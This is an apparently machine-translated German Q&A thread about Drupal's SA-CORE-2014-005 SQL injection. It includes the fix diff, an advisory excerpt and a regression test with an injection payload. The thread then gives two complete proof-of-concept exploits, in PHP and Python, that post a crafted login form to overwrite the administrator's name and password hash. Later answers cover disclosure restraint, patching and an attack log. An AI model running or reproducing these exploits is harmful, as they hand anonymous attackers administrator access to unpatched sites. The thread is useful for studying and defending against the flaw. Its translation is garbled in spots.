Welche Art von Angriffen verhindert der Patch für SA-CORE-2014-005 (Drupal 7.32)?

Lesen Sie https://www.drupal.org/node/2357241 und die technischen Details unter https://www.drupal.org/SA-CORE-2014-005 sowie den aktuellen Patch, der einfach ist:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Ich frage mich, welche Art von Anfrage gemacht werden könnte, die diesen Exploit nutzt.

Das Unternehmen, das den Fehler gefunden hat, hat einige Beispiele zu Advisory 01/2014: Sicherheitsanfälligkeit in Drupal vor Auth SQL Injection :

Extrakt:

Die Funktion geht davon aus, dass sie mit einem Array ohne Schlüssel aufgerufen wird. Beispiel:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Welche Ergebnisse in dieser SQL-Anweisung

SELECT * from users where name IN (:name_0, :name_1)

mit den Parametern name_0 = user1und name_1 = user2.

Das Problem tritt auf, wenn das Array Schlüssel enthält, die keine ganzen Zahlen sind. Beispiel:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

Dies führt zu einer ausnutzbaren SQL-Abfrage:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

mit den Parametern: name_test = user2.

Da Drupal PDO verwendet, sind Mehrfachabfragen zulässig. So kann diese SQL-Injection verwendet werden, um beliebige Daten in die Datenbank einzufügen, vorhandene Daten zu sichern oder zu ändern oder die gesamte Datenbank zu löschen.

Mit der Möglichkeit, beliebige Daten in die Datenbank einzufügen, kann ein Angreifer jeden PHP-Code über Drupal-Funktionen mit Rückrufen ausführen.

Was ist los mit 7.32 Durch Überprüfen des Testmoduls. Sie können sehen, dass der folgende Test zu 7.32 hinzugefügt wurde;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Dies sollte einen weiteren Einblick in die Vorgehensweise beim Herstellen eines Angriffs geben.

Proof of Concept Da mehr als genug Zeit vergangen ist und es viele PoCs in freier Wildbahn gibt.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Hier ist ein Blog, das eine gute Übersicht bietet: http://www.volexity.com/blog/?p=83

Die Forscher, die den Fehler gefunden haben, haben einen Proof of Concept. Andere haben ebenfalls Proofs of Concept entwickelt. Sie veröffentlichen sie jedoch absichtlich nicht, um zu versuchen, die Wahrscheinlichkeit zu verringern, dass sie in großem Umfang ausgenutzt werden. Wir sollten diese Forschung und Zurückhaltung respektieren und hier keine Beispiele posten.

Nachdem einige Zeit vergangen ist und Websites aktualisiert wurden, wird es aus akademischer Sicht sehr interessant sein, den Proof-of-Concept-Angriffscode zu überprüfen. Bis dahin ist es ein unnötiges Risiko und Aufmerksamkeit zu erregen.

Der Code in der SektioinEins-Empfehlung ist kein vollständig ausgearbeitetes Beispiel für die Verwendung. Sie beschreiben die Schwachstelle, identifizieren jedoch nicht genau, wie das Problem tatsächlich ausgenutzt werden kann.

Es ist nun ein paar Wochen her, dass die Ausgabe veröffentlicht wurde und SektionEins hat mehrere Proof-of-Concepts auf ihrem Blog veröffentlicht . Diese sind im Vergleich zu vielen anderen entwickelten Proofs of Concept sehr interessant, da sie nur sehr wenige Spuren ihrer Aktivität hinterlassen (z. B. nichts in der menu_router-Tabelle).

Ich kann bestätigen, dass diese Sicherheitslücke mit jeder Drupal 7.31 und niedrigeren Site funktioniert, egal welche Module aktiv sind. Jedes Drupal-Formular kann verwendet werden, um diese Sicherheitsanfälligkeit auszunutzen.

Exploit ist ganz einfach, so ist PoC bereits in der Wildnis. Ich konnte meinen eigenen Server angreifen und Benutzerpasswörter als anonymer Benutzer in einer sauberen Drupal-Installation ändern, aber die Möglichkeiten sind endlos.

Dieser Fehler war vor fast einem Jahr über https://www.drupal.org/node/2146839 bekannt, aber niemand vom Drupal Core Security Team hat geantwortet.

Ich fragte mich, wie dies ausgenutzt werden könnte und wie viel Zeit und Mühe es kosten würde. Aus diesem Grund habe ich mich entschlossen, eine ältere Drupal 7-Version auf meinem Localhost zu installieren und diesen Fehler rückzuentwickeln. Was ich entdeckte, war ein schockierender Fehler, der jedem mit Grundkenntnissen in HTML / SQL einen vollständigen Zugriff auf Ihre Drupal-Site ermöglicht.

Ich habe es geschafft, SQL-Injection in Drupal 7 unter Verwendung eines anonymen Benutzers in weniger als 30 Minuten auszuführen!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

HINWEIS: Hiermit können Sie sich immer noch nicht anmelden, da Drupal SHA512 mit Salt verwendet und sich daher nicht anmelden kann. Ich habe den Code absichtlich nicht hier eingefügt, aber offensichtlich weiß jeder mit ein wenig Drupal-Wissen, wie man dies überwindet und die Abfrage erstellt, die Ihnen vollen Zugriff gewährt!

Dies wirft die Frage auf, wie sicher Drupal ist und wer für so etwas verantwortlich ist. Anscheinend war dieser Fehler mehr als ein Jahr lang bekannt ( https://www.drupal.org/node/2146839 ), aber niemand reagierte auf Drupal.org. Versehentlich oder absichtlich? :)

Es handelt sich um eine Korrektur einer SQL-Injection-Sicherheitsanfälligkeit, bei der böswillige SQL-Anweisungen zur Ausführung in ein Eingabefeld eingefügt werden und beispielsweise zur Freigabe des Datenbankinhalts führen können. Es ist wichtig, diesen Fix so schnell wie möglich anzuwenden, insbesondere weil diese Sicherheitsanfälligkeit von anonymen Benutzern ausgenutzt werden kann.

Wenn Sie das Sicherheitsteam nicht sofort aktualisieren können, können Sie diesen Patch anwenden , der den gleichen Schutz bietet, bis Sie das vollständige Upgrade 1 durchführen können . Auch hat das Sicherheitsteam etwas vorbereitet FAQ zu diesem Problem. Ihre Website in den Wartungsmodus versetzt wird nicht helfen , und bitte den Cache nach dem Anwenden des Updates deaktivieren oder stellen Sie sicher , Sie verwenden 7.32.

Sie sollten auch überprüfen, ob Ihre Site nicht gefährdet wurde. Auf einigen Websites werden bereits Probleme gemeldet. Hier ist ein Blog-Beitrag, der vorschlägt, wie Sie überprüfen können, ob die Aktualisierung auf Drupal 7.32 nicht ausreicht. Möglicherweise ist Ihre Website bereits gehackt

Ich wende das Update am 15. Oktober an und meine Websites haben bereits gemeldet, dass jemand versucht, die Sicherheitsanfälligkeit auszunutzen

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149